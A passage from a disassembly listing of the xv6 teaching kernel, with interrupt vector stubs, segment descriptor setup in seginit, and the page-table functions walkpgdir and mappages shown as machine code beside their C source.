ff jmp 801072d0 <alltraps> 80108326 <vector234>: .globl vector234 vector234: pushl $0 80108326: 6a 00 push $0x0 pushl $234 80108328: 68 ea 00 00 00 push $0xea jmp alltraps 8010832d: e9 9e ef ff ff jmp 801072d0 <alltraps> 80108332 <vector235>: .globl vector235 vector235: pushl $0 80108332: 6a 00 push $0x0 pushl $235 80108334: 68 eb 00 00 00 push $0xeb jmp alltraps 80108339: e9 92 ef ff ff jmp 801072d0 <alltraps> 8010833e <vector236>: .globl vector236 vector236: pushl $0 8010833e: 6a 00 push $0x0 pushl $236 80108340: 68 ec 00 00 00 push $0xec jmp alltraps 80108345: e9 86 ef ff ff jmp 801072d0 <alltraps> 8010834a <vector237>: .globl vector237 vector237: pushl $0 8010834a: 6a 00 push $0x0 pushl $237 8010834c: 68 ed 00 00 00 push $0xed jmp alltraps 80108351: e9 7a ef ff ff jmp 801072d0 <alltraps> 80108356 <vector238>: .globl vector238 vector238: pushl $0 80108356: 6a 00 push $0x0 pushl $238 80108358: 68 ee 00 00 00 push $0xee jmp alltraps 8010835d: e9 6e ef ff ff jmp 801072d0 <alltraps> 80108362 <vector239>: .globl vector239 vector239: pushl $0 80108362: 6a 00 push $0x0 pushl $239 80108364: 68 ef 00 00 00 push $0xef jmp alltraps 80108369: e9 62 ef ff ff jmp 801072d0 <alltraps> 8010836e <vector240>: .globl vector240 vector240: pushl $0 8010836e: 6a 00 push $0x0 pushl $240 80108370: 68 f0 00 00 00 push $0xf0 jmp alltraps 80108375: e9 56 ef ff ff jmp 801072d0 <alltraps> 8010837a <vector241>: .globl vector241 vector241: pushl $0 8010837a: 6a 00 push $0x0 pushl $241 8010837c: 68 f1 00 00 00 push $0xf1 jmp alltraps 80108381: e9 4a ef ff ff jmp 801072d0 <alltraps> 80108386 <vector242>: .globl vector242 vector242: pushl $0 80108386: 6a 00 push $0x0 pushl $242 80108388: 68 f2 00 00 00 push $0xf2 jmp alltraps 8010838d: e9 3e ef ff ff jmp 801072d0 <alltraps> 80108392 <vector243>: .globl vector243 vector243: pushl $0 80108392: 6a 00 push $0x0 pushl $243 80108394: 68 f3 00 00 00 push $0xf3 jmp alltraps 80108399: e9 32 ef ff ff jmp 801072d0 <alltraps> 8010839e <vector244>: .globl vector244 vector244: pushl $0 8010839e: 6a 00 push $0x0 pushl $244 801083a0: 68 f4 00 00 00 push $0xf4 jmp alltraps 801083a5: e9 26 ef ff ff jmp 801072d0 <alltraps> 801083aa <vector245>: .globl vector245 vector245: pushl $0 801083aa: 6a 00 push $0x0 pushl $245 801083ac: 68 f5 00 00 00 push $0xf5 jmp alltraps 801083b1: e9 1a ef ff ff jmp 801072d0 <alltraps> 801083b6 <vector246>: .globl vector246 vector246: pushl $0 801083b6: 6a 00 push $0x0 pushl $246 801083b8: 68 f6 00 00 00 push $0xf6 jmp alltraps 801083bd: e9 0e ef ff ff jmp 801072d0 <alltraps> 801083c2 <vector247>: .globl vector247 vector247: pushl $0 801083c2: 6a 00 push $0x0 pushl $247 801083c4: 68 f7 00 00 00 push $0xf7 jmp alltraps 801083c9: e9 02 ef ff ff jmp 801072d0 <alltraps> 801083ce <vector248>: .globl vector248 vector248: pushl $0 801083ce: 6a 00 push $0x0 pushl $248 801083d0: 68 f8 00 00 00 push $0xf8 jmp alltraps 801083d5: e9 f6 ee ff ff jmp 801072d0 <alltraps> 801083da <vector249>: .globl vector249 vector249: pushl $0 801083da: 6a 00 push $0x0 pushl $249 801083dc: 68 f9 00 00 00 push $0xf9 jmp alltraps 801083e1: e9 ea ee ff ff jmp 801072d0 <alltraps> 801083e6 <vector250>: .globl vector250 vector250: pushl $0 801083e6: 6a 00 push $0x0 pushl $250 801083e8: 68 fa 00 00 00 push $0xfa jmp alltraps 801083ed: e9 de ee ff ff jmp 801072d0 <alltraps> 801083f2 <vector251>: .globl vector251 vector251: pushl $0 801083f2: 6a 00 push $0x0 pushl $251 801083f4: 68 fb 00 00 00 push $0xfb jmp alltraps 801083f9: e9 d2 ee ff ff jmp 801072d0 <alltraps> 801083fe <vector252>: .globl vector252 vector252: pushl $0 801083fe: 6a 00 push $0x0 pushl $252 80108400: 68 fc 00 00 00 push $0xfc jmp alltraps 80108405: e9 c6 ee ff ff jmp 801072d0 <alltraps> 8010840a <vector253>: .globl vector253 vector253: pushl $0 8010840a: 6a 00 push $0x0 pushl $253 8010840c: 68 fd 00 00 00 push $0xfd jmp alltraps 80108411: e9 ba ee ff ff jmp 801072d0 <alltraps> 80108416 <vector254>: .globl vector254 vector254: pushl $0 80108416: 6a 00 push $0x0 pushl $254 80108418: 68 fe 00 00 00 push $0xfe jmp alltraps 8010841d: e9 ae ee ff ff jmp 801072d0 <alltraps> 80108422 <vector255>: .globl vector255 vector255: pushl $0 80108422: 6a 00 push $0x0 pushl $255 80108424: 68 ff 00 00 00 push $0xff jmp alltraps 80108429: e9 a2 ee ff ff jmp 801072d0 <alltraps> ... 80108430 <lgdt>: struct segdesc; static inline void lgdt(struct segdesc *p, int size) { 80108430: 55 push %ebp 80108431: 89 e5 mov %esp,%ebp 80108433: 83 ec 10 sub $0x10,%esp volatile ushort pd[3]; pd[0] = size-1; 80108436: 8b 45 0c mov 0xc(%ebp),%eax 80108439: 83 e8 01 sub $0x1,%eax 8010843c: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 80108440: 8b 45 08 mov 0x8(%ebp),%eax 80108443: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80108447: 8b 45 08 mov 0x8(%ebp),%eax 8010844a: c1 e8 10 shr $0x10,%eax 8010844d: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 80108451: 8d 45 fa lea -0x6(%ebp),%eax 80108454: 0f 01 10 lgdtl (%eax) } 80108457: c9 leave 80108458: c3 ret 80108459 <ltr>: asm volatile("lidt (%0)" : : "r" (pd)); } static inline void ltr(ushort sel) { 80108459: 55 push %ebp 8010845a: 89 e5 mov %esp,%ebp 8010845c: 83 ec 04 sub $0x4,%esp 8010845f: 8b 45 08 mov 0x8(%ebp),%eax 80108462: 66 89 45 fc mov %ax,-0x4(%ebp) asm volatile("ltr %0" : : "r" (sel)); 80108466: 0f b7 45 fc movzwl -0x4(%ebp),%eax 8010846a: 0f 00 d8 ltr %ax } 8010846d: c9 leave 8010846e: c3 ret 8010846f <loadgs>: return eflags; } static inline void loadgs(ushort v) { 8010846f: 55 push %ebp 80108470: 89 e5 mov %esp,%ebp 80108472: 83 ec 04 sub $0x4,%esp 80108475: 8b 45 08 mov 0x8(%ebp),%eax 80108478: 66 89 45 fc mov %ax,-0x4(%ebp) asm volatile("movw %0, %%gs" : : "r" (v)); 8010847c: 0f b7 45 fc movzwl -0x4(%ebp),%eax 80108480: 8e e8 mov %eax,%gs } 80108482: c9 leave 80108483: c3 ret 80108484 <lcr3>: return val; } static inline void lcr3(uint val) { 80108484: 55 push %ebp 80108485: 89 e5 mov %esp,%ebp asm volatile("movl %0,%%cr3" : : "r" (val)); 80108487: 8b 45 08 mov 0x8(%ebp),%eax 8010848a: 0f 22 d8 mov %eax,%cr3 } 8010848d: 5d pop %ebp 8010848e: c3 ret 8010848f <v2p>: #define KERNBASE 0x80000000 // First kernel virtual address #define KERNLINK (KERNBASE+EXTMEM) // Address where kernel is linked #ifndef __ASSEMBLER__ static inline uint v2p(void *a) { return ((uint) (a)) - KERNBASE; } 8010848f: 55 push %ebp 80108490: 89 e5 mov %esp,%ebp 80108492: 8b 45 08 mov 0x8(%ebp),%eax 80108495: 05 00 00 00 80 add $0x80000000,%eax 8010849a: 5d pop %ebp 8010849b: c3 ret 8010849c <p2v>: static inline void *p2v(uint a) { return (void *) ((a) + KERNBASE); } 8010849c: 55 push %ebp 8010849d: 89 e5 mov %esp,%ebp 8010849f: 8b 45 08 mov 0x8(%ebp),%eax 801084a2: 05 00 00 00 80 add $0x80000000,%eax 801084a7: 5d pop %ebp 801084a8: c3 ret 801084a9 <seginit>: // Set up CPU's kernel segment descriptors. // Run once on entry on each CPU. void seginit(void) { 801084a9: 55 push %ebp 801084aa: 89 e5 mov %esp,%ebp 801084ac: 53 push %ebx 801084ad: 83 ec 24 sub $0x24,%esp // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpunum()]; 801084b0: e8 da b2 ff ff call 8010378f <cpunum> 801084b5: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax 801084bb: 05 a0 3b 11 80 add $0x80113ba0,%eax 801084c0: 89 45 f4 mov %eax,-0xc(%ebp) c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801084c3: 8b 45 f4 mov -0xc(%ebp),%eax 801084c6: 66 c7 40 78 ff ff movw $0xffff,0x78(%eax) 801084cc: 8b 45 f4 mov -0xc(%ebp),%eax 801084cf: 66 c7 40 7a 00 00 movw $0x0,0x7a(%eax) 801084d5: 8b 45 f4 mov -0xc(%ebp),%eax 801084d8: c6 40 7c 00 movb $0x0,0x7c(%eax) 801084dc: 8b 45 f4 mov -0xc(%ebp),%eax 801084df: 0f b6 50 7d movzbl 0x7d(%eax),%edx 801084e3: 83 e2 f0 and $0xfffffff0,%edx 801084e6: 83 ca 0a or $0xa,%edx 801084e9: 88 50 7d mov %dl,0x7d(%eax) 801084ec: 8b 45 f4 mov -0xc(%ebp),%eax 801084ef: 0f b6 50 7d movzbl 0x7d(%eax),%edx 801084f3: 83 ca 10 or $0x10,%edx 801084f6: 88 50 7d mov %dl,0x7d(%eax) 801084f9: 8b 45 f4 mov -0xc(%ebp),%eax 801084fc: 0f b6 50 7d movzbl 0x7d(%eax),%edx 80108500: 83 e2 9f and $0xffffff9f,%edx 80108503: 88 50 7d mov %dl,0x7d(%eax) 80108506: 8b 45 f4 mov -0xc(%ebp),%eax 80108509: 0f b6 50 7d movzbl 0x7d(%eax),%edx 8010850d: 83 ca 80 or $0xffffff80,%edx 80108510: 88 50 7d mov %dl,0x7d(%eax) 80108513: 8b 45 f4 mov -0xc(%ebp),%eax 80108516: 0f b6 50 7e movzbl 0x7e(%eax),%edx 8010851a: 83 ca 0f or $0xf,%edx 8010851d: 88 50 7e mov %dl,0x7e(%eax) 80108520: 8b 45 f4 mov -0xc(%ebp),%eax 80108523: 0f b6 50 7e movzbl 0x7e(%eax),%edx 80108527: 83 e2 ef and $0xffffffef,%edx 8010852a: 88 50 7e mov %dl,0x7e(%eax) 8010852d: 8b 45 f4 mov -0xc(%ebp),%eax 80108530: 0f b6 50 7e movzbl 0x7e(%eax),%edx 80108534: 83 e2 df and $0xffffffdf,%edx 80108537: 88 50 7e mov %dl,0x7e(%eax) 8010853a: 8b 45 f4 mov -0xc(%ebp),%eax 8010853d: 0f b6 50 7e movzbl 0x7e(%eax),%edx 80108541: 83 ca 40 or $0x40,%edx 80108544: 88 50 7e mov %dl,0x7e(%eax) 80108547: 8b 45 f4 mov -0xc(%ebp),%eax 8010854a: 0f b6 50 7e movzbl 0x7e(%eax),%edx 8010854e: 83 ca 80 or $0xffffff80,%edx 80108551: 88 50 7e mov %dl,0x7e(%eax) 80108554: 8b 45 f4 mov -0xc(%ebp),%eax 80108557: c6 40 7f 00 movb $0x0,0x7f(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 8010855b: 8b 45 f4 mov -0xc(%ebp),%eax 8010855e: 66 c7 80 80 00 00 00 movw $0xffff,0x80(%eax) 80108565: ff ff 80108567: 8b 45 f4 mov -0xc(%ebp),%eax 8010856a: 66 c7 80 82 00 00 00 movw $0x0,0x82(%eax) 80108571: 00 00 80108573: 8b 45 f4 mov -0xc(%ebp),%eax 80108576: c6 80 84 00 00 00 00 movb $0x0,0x84(%eax) 8010857d: 8b 45 f4 mov -0xc(%ebp),%eax 80108580: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx 80108587: 83 e2 f0 and $0xfffffff0,%edx 8010858a: 83 ca 02 or $0x2,%edx 8010858d: 88 90 85 00 00 00 mov %dl,0x85(%eax) 80108593: 8b 45 f4 mov -0xc(%ebp),%eax 80108596: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx 8010859d: 83 ca 10 or $0x10,%edx 801085a0: 88 90 85 00 00 00 mov %dl,0x85(%eax) 801085a6: 8b 45 f4 mov -0xc(%ebp),%eax 801085a9: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx 801085b0: 83 e2 9f and $0xffffff9f,%edx 801085b3: 88 90 85 00 00 00 mov %dl,0x85(%eax) 801085b9: 8b 45 f4 mov -0xc(%ebp),%eax 801085bc: 0f b6 90 85 00 00 00 movzbl 0x85(%eax),%edx 801085c3: 83 ca 80 or $0xffffff80,%edx 801085c6: 88 90 85 00 00 00 mov %dl,0x85(%eax) 801085cc: 8b 45 f4 mov -0xc(%ebp),%eax 801085cf: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx 801085d6: 83 ca 0f or $0xf,%edx 801085d9: 88 90 86 00 00 00 mov %dl,0x86(%eax) 801085df: 8b 45 f4 mov -0xc(%ebp),%eax 801085e2: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx 801085e9: 83 e2 ef and $0xffffffef,%edx 801085ec: 88 90 86 00 00 00 mov %dl,0x86(%eax) 801085f2: 8b 45 f4 mov -0xc(%ebp),%eax 801085f5: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx 801085fc: 83 e2 df and $0xffffffdf,%edx 801085ff: 88 90 86 00 00 00 mov %dl,0x86(%eax) 80108605: 8b 45 f4 mov -0xc(%ebp),%eax 80108608: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx 8010860f: 83 ca 40 or $0x40,%edx 80108612: 88 90 86 00 00 00 mov %dl,0x86(%eax) 80108618: 8b 45 f4 mov -0xc(%ebp),%eax 8010861b: 0f b6 90 86 00 00 00 movzbl 0x86(%eax),%edx 80108622: 83 ca 80 or $0xffffff80,%edx 80108625: 88 90 86 00 00 00 mov %dl,0x86(%eax) 8010862b: 8b 45 f4 mov -0xc(%ebp),%eax 8010862e: c6 80 87 00 00 00 00 movb $0x0,0x87(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80108635: 8b 45 f4 mov -0xc(%ebp),%eax 80108638: 66 c7 80 90 00 00 00 movw $0xffff,0x90(%eax) 8010863f: ff ff 80108641: 8b 45 f4 mov -0xc(%ebp),%eax 80108644: 66 c7 80 92 00 00 00 movw $0x0,0x92(%eax) 8010864b: 00 00 8010864d: 8b 45 f4 mov -0xc(%ebp),%eax 80108650: c6 80 94 00 00 00 00 movb $0x0,0x94(%eax) 80108657: 8b 45 f4 mov -0xc(%ebp),%eax 8010865a: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx 80108661: 83 e2 f0 and $0xfffffff0,%edx 80108664: 83 ca 0a or $0xa,%edx 80108667: 88 90 95 00 00 00 mov %dl,0x95(%eax) 8010866d: 8b 45 f4 mov -0xc(%ebp),%eax 80108670: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx 80108677: 83 ca 10 or $0x10,%edx 8010867a: 88 90 95 00 00 00 mov %dl,0x95(%eax) 80108680: 8b 45 f4 mov -0xc(%ebp),%eax 80108683: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx 8010868a: 83 ca 60 or $0x60,%edx 8010868d: 88 90 95 00 00 00 mov %dl,0x95(%eax) 80108693: 8b 45 f4 mov -0xc(%ebp),%eax 80108696: 0f b6 90 95 00 00 00 movzbl 0x95(%eax),%edx 8010869d: 83 ca 80 or $0xffffff80,%edx 801086a0: 88 90 95 00 00 00 mov %dl,0x95(%eax) 801086a6: 8b 45 f4 mov -0xc(%ebp),%eax 801086a9: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx 801086b0: 83 ca 0f or $0xf,%edx 801086b3: 88 90 96 00 00 00 mov %dl,0x96(%eax) 801086b9: 8b 45 f4 mov -0xc(%ebp),%eax 801086bc: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx 801086c3: 83 e2 ef and $0xffffffef,%edx 801086c6: 88 90 96 00 00 00 mov %dl,0x96(%eax) 801086cc: 8b 45 f4 mov -0xc(%ebp),%eax 801086cf: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx 801086d6: 83 e2 df and $0xffffffdf,%edx 801086d9: 88 90 96 00 00 00 mov %dl,0x96(%eax) 801086df: 8b 45 f4 mov -0xc(%ebp),%eax 801086e2: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx 801086e9: 83 ca 40 or $0x40,%edx 801086ec: 88 90 96 00 00 00 mov %dl,0x96(%eax) 801086f2: 8b 45 f4 mov -0xc(%ebp),%eax 801086f5: 0f b6 90 96 00 00 00 movzbl 0x96(%eax),%edx 801086fc: 83 ca 80 or $0xffffff80,%edx 801086ff: 88 90 96 00 00 00 mov %dl,0x96(%eax) 80108705: 8b 45 f4 mov -0xc(%ebp),%eax 80108708: c6 80 97 00 00 00 00 movb $0x0,0x97(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 8010870f: 8b 45 f4 mov -0xc(%ebp),%eax 80108712: 66 c7 80 98 00 00 00 movw $0xffff,0x98(%eax) 80108719: ff ff 8010871b: 8b 45 f4 mov -0xc(%ebp),%eax 8010871e: 66 c7 80 9a 00 00 00 movw $0x0,0x9a(%eax) 80108725: 00 00 80108727: 8b 45 f4 mov -0xc(%ebp),%eax 8010872a: c6 80 9c 00 00 00 00 movb $0x0,0x9c(%eax) 80108731: 8b 45 f4 mov -0xc(%ebp),%eax 80108734: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx 8010873b: 83 e2 f0 and $0xfffffff0,%edx 8010873e: 83 ca 02 or $0x2,%edx 80108741: 88 90 9d 00 00 00 mov %dl,0x9d(%eax) 80108747: 8b 45 f4 mov -0xc(%ebp),%eax 8010874a: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx 80108751: 83 ca 10 or $0x10,%edx 80108754: 88 90 9d 00 00 00 mov %dl,0x9d(%eax) 8010875a: 8b 45 f4 mov -0xc(%ebp),%eax 8010875d: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx 80108764: 83 ca 60 or $0x60,%edx 80108767: 88 90 9d 00 00 00 mov %dl,0x9d(%eax) 8010876d: 8b 45 f4 mov -0xc(%ebp),%eax 80108770: 0f b6 90 9d 00 00 00 movzbl 0x9d(%eax),%edx 80108777: 83 ca 80 or $0xffffff80,%edx 8010877a: 88 90 9d 00 00 00 mov %dl,0x9d(%eax) 80108780: 8b 45 f4 mov -0xc(%ebp),%eax 80108783: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx 8010878a: 83 ca 0f or $0xf,%edx 8010878d: 88 90 9e 00 00 00 mov %dl,0x9e(%eax) 80108793: 8b 45 f4 mov -0xc(%ebp),%eax 80108796: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx 8010879d: 83 e2 ef and $0xffffffef,%edx 801087a0: 88 90 9e 00 00 00 mov %dl,0x9e(%eax) 801087a6: 8b 45 f4 mov -0xc(%ebp),%eax 801087a9: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx 801087b0: 83 e2 df and $0xffffffdf,%edx 801087b3: 88 90 9e 00 00 00 mov %dl,0x9e(%eax) 801087b9: 8b 45 f4 mov -0xc(%ebp),%eax 801087bc: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx 801087c3: 83 ca 40 or $0x40,%edx 801087c6: 88 90 9e 00 00 00 mov %dl,0x9e(%eax) 801087cc: 8b 45 f4 mov -0xc(%ebp),%eax 801087cf: 0f b6 90 9e 00 00 00 movzbl 0x9e(%eax),%edx 801087d6: 83 ca 80 or $0xffffff80,%edx 801087d9: 88 90 9e 00 00 00 mov %dl,0x9e(%eax) 801087df: 8b 45 f4 mov -0xc(%ebp),%eax 801087e2: c6 80 9f 00 00 00 00 movb $0x0,0x9f(%eax) // Map cpu, and curproc c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0); 801087e9: 8b 45 f4 mov -0xc(%ebp),%eax 801087ec: 05 b4 00 00 00 add $0xb4,%eax 801087f1: 89 c3 mov %eax,%ebx 801087f3: 8b 45 f4 mov -0xc(%ebp),%eax 801087f6: 05 b4 00 00 00 add $0xb4,%eax 801087fb: c1 e8 10 shr $0x10,%eax 801087fe: 89 c1 mov %eax,%ecx 80108800: 8b 45 f4 mov -0xc(%ebp),%eax 80108803: 05 b4 00 00 00 add $0xb4,%eax 80108808: c1 e8 18 shr $0x18,%eax 8010880b: 89 c2 mov %eax,%edx 8010880d: 8b 45 f4 mov -0xc(%ebp),%eax 80108810: 66 c7 80 88 00 00 00 movw $0x0,0x88(%eax) 80108817: 00 00 80108819: 8b 45 f4 mov -0xc(%ebp),%eax 8010881c: 66 89 98 8a 00 00 00 mov %bx,0x8a(%eax) 80108823: 8b 45 f4 mov -0xc(%ebp),%eax 80108826: 88 88 8c 00 00 00 mov %cl,0x8c(%eax) 8010882c: 8b 45 f4 mov -0xc(%ebp),%eax 8010882f: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx 80108836: 83 e1 f0 and $0xfffffff0,%ecx 80108839: 83 c9 02 or $0x2,%ecx 8010883c: 88 88 8d 00 00 00 mov %cl,0x8d(%eax) 80108842: 8b 45 f4 mov -0xc(%ebp),%eax 80108845: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx 8010884c: 83 c9 10 or $0x10,%ecx 8010884f: 88 88 8d 00 00 00 mov %cl,0x8d(%eax) 80108855: 8b 45 f4 mov -0xc(%ebp),%eax 80108858: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx 8010885f: 83 e1 9f and $0xffffff9f,%ecx 80108862: 88 88 8d 00 00 00 mov %cl,0x8d(%eax) 80108868: 8b 45 f4 mov -0xc(%ebp),%eax 8010886b: 0f b6 88 8d 00 00 00 movzbl 0x8d(%eax),%ecx 80108872: 83 c9 80 or $0xffffff80,%ecx 80108875: 88 88 8d 00 00 00 mov %cl,0x8d(%eax) 8010887b: 8b 45 f4 mov -0xc(%ebp),%eax 8010887e: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx 80108885: 83 e1 f0 and $0xfffffff0,%ecx 80108888: 88 88 8e 00 00 00 mov %cl,0x8e(%eax) 8010888e: 8b 45 f4 mov -0xc(%ebp),%eax 80108891: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx 80108898: 83 e1 ef and $0xffffffef,%ecx 8010889b: 88 88 8e 00 00 00 mov %cl,0x8e(%eax) 801088a1: 8b 45 f4 mov -0xc(%ebp),%eax 801088a4: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx 801088ab: 83 e1 df and $0xffffffdf,%ecx 801088ae: 88 88 8e 00 00 00 mov %cl,0x8e(%eax) 801088b4: 8b 45 f4 mov -0xc(%ebp),%eax 801088b7: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx 801088be: 83 c9 40 or $0x40,%ecx 801088c1: 88 88 8e 00 00 00 mov %cl,0x8e(%eax) 801088c7: 8b 45 f4 mov -0xc(%ebp),%eax 801088ca: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx 801088d1: 83 c9 80 or $0xffffff80,%ecx 801088d4: 88 88 8e 00 00 00 mov %cl,0x8e(%eax) 801088da: 8b 45 f4 mov -0xc(%ebp),%eax 801088dd: 88 90 8f 00 00 00 mov %dl,0x8f(%eax) lgdt(c->gdt, sizeof(c->gdt)); 801088e3: 8b 45 f4 mov -0xc(%ebp),%eax 801088e6: 83 c0 70 add $0x70,%eax 801088e9: c7 44 24 04 38 00 00 movl $0x38,0x4(%esp) 801088f0: 00 801088f1: 89 04 24 mov %eax,(%esp) 801088f4: e8 37 fb ff ff call 80108430 <lgdt> loadgs(SEG_KCPU << 3); 801088f9: c7 04 24 18 00 00 00 movl $0x18,(%esp) 80108900: e8 6a fb ff ff call 8010846f <loadgs> // Initialize cpu-local storage. cpu = c; 80108905: 8b 45 f4 mov -0xc(%ebp),%eax 80108908: 65 a3 00 00 00 00 mov %eax,%gs:0x0 proc = 0; 8010890e: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4 80108915: 00 00 00 00 } 80108919: 83 c4 24 add $0x24,%esp 8010891c: 5b pop %ebx 8010891d: 5d pop %ebp 8010891e: c3 ret 8010891f <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 8010891f: 55 push %ebp 80108920: 89 e5 mov %esp,%ebp 80108922: 83 ec 28 sub $0x28,%esp pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 80108925: 8b 45 0c mov 0xc(%ebp),%eax 80108928: c1 e8 16 shr $0x16,%eax 8010892b: c1 e0 02 shl $0x2,%eax 8010892e: 03 45 08 add 0x8(%ebp),%eax 80108931: 89 45 f0 mov %eax,-0x10(%ebp) if(*pde & PTE_P){ 80108934: 8b 45 f0 mov -0x10(%ebp),%eax 80108937: 8b 00 mov (%eax),%eax 80108939: 83 e0 01 and $0x1,%eax 8010893c: 84 c0 test %al,%al 8010893e: 74 17 je 80108957 <walkpgdir+0x38> pgtab = (pte_t*)p2v(PTE_ADDR(*pde)); 80108940: 8b 45 f0 mov -0x10(%ebp),%eax 80108943: 8b 00 mov (%eax),%eax 80108945: 25 00 f0 ff ff and $0xfffff000,%eax 8010894a: 89 04 24 mov %eax,(%esp) 8010894d: e8 4a fb ff ff call 8010849c <p2v> 80108952: 89 45 f4 mov %eax,-0xc(%ebp) 80108955: eb 4b jmp 801089a2 <walkpgdir+0x83> } else { if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 80108957: 83 7d 10 00 cmpl $0x0,0x10(%ebp) 8010895b: 74 0e je 8010896b <walkpgdir+0x4c> 8010895d: e8 75 aa ff ff call 801033d7 <kalloc> 80108962: 89 45 f4 mov %eax,-0xc(%ebp) 80108965: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 80108969: 75 07 jne 80108972 <walkpgdir+0x53> return 0; 8010896b: b8 00 00 00 00 mov $0x0,%eax 80108970: eb 41 jmp 801089b3 <walkpgdir+0x94> // Make sure all those PTE_P bits are zero. memset(pgtab, 0, PGSIZE); 80108972: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80108979: 00 8010897a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80108981: 00 80108982: 8b 45 f4 mov -0xc(%ebp),%eax 80108985: 89 04 24 mov %eax,(%esp) 80108988: e8 6d d4 ff ff call 80105dfa <memset> // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = v2p(pgtab) | PTE_P | PTE_W | PTE_U; 8010898d: 8b 45 f4 mov -0xc(%ebp),%eax 80108990: 89 04 24 mov %eax,(%esp) 80108993: e8 f7 fa ff ff call 8010848f <v2p> 80108998: 89 c2 mov %eax,%edx 8010899a: 83 ca 07 or $0x7,%edx 8010899d: 8b 45 f0 mov -0x10(%ebp),%eax 801089a0: 89 10 mov %edx,(%eax) } return &pgtab[PTX(va)]; 801089a2: 8b 45 0c mov 0xc(%ebp),%eax 801089a5: c1 e8 0c shr $0xc,%eax 801089a8: 25 ff 03 00 00 and $0x3ff,%eax 801089ad: c1 e0 02 shl $0x2,%eax 801089b0: 03 45 f4 add -0xc(%ebp),%eax } 801089b3: c9 leave 801089b4: c3 ret 801089b5 <mappages>: // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 801089b5: 55 push %ebp 801089b6: 89 e5 mov %esp,%ebp 801089b8: 83 ec 28 sub $0x28,%esp char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); 801089bb: 8b 45 0c mov 0xc(%ebp),%eax 801089be: 25 00 f0 ff ff and $0xfffff000,%eax 801089c3: 89 45 f4 mov %eax,-0xc(%ebp) last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 801089c6: 8b 45 0c mov 0xc(%ebp),%eax 801089c9: 03 45 10 add 0x10(%ebp),%eax 801089cc: 83 e8 01 sub $0x1,%eax 801089cf: 25 00 f0 ff ff and $0xfffff000,%eax 801089d4: 89 45 f0 mov %eax,-0x10(%ebp) for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) 801089d7: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 801089de: 00 801089df: 8b 45 f4 mov -0xc(%ebp),%eax 801089e2: 89 44 24 04 mov %eax,0x4(%esp) 801089e6: 8b 45 08 mov 0x8(%ebp),%eax 801089e9: 89 04 24 mov %eax,(%esp) 801089ec: e8 2e ff ff ff call 8010891f <walkpgdir> 801089f1: 89 45 ec mov %eax,-0x14(%ebp) 801089f4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 801089f8: 75 07 jne 80108a01 <mappages+0x4c> return -1; 801089fa: b8 ff ff ff ff mov $0xffffffff,%eax 801089ff: eb 46 jmp 80108a47 <mappages+0x92> if(*pte & PTE_P) 80108a01: 8b 45 ec mov -0x14(%ebp),%eax 80108a04: 8b 00 mov (%eax),%eax 80108a06: 83 e0 01 and $0x1,%eax 80108a09: 84 c0 test %al,%al 80108a0b: 74 0c je 80108a19 <mappages+0x64> panic("remap"); 80108a0d: c7 04 24 a8 98 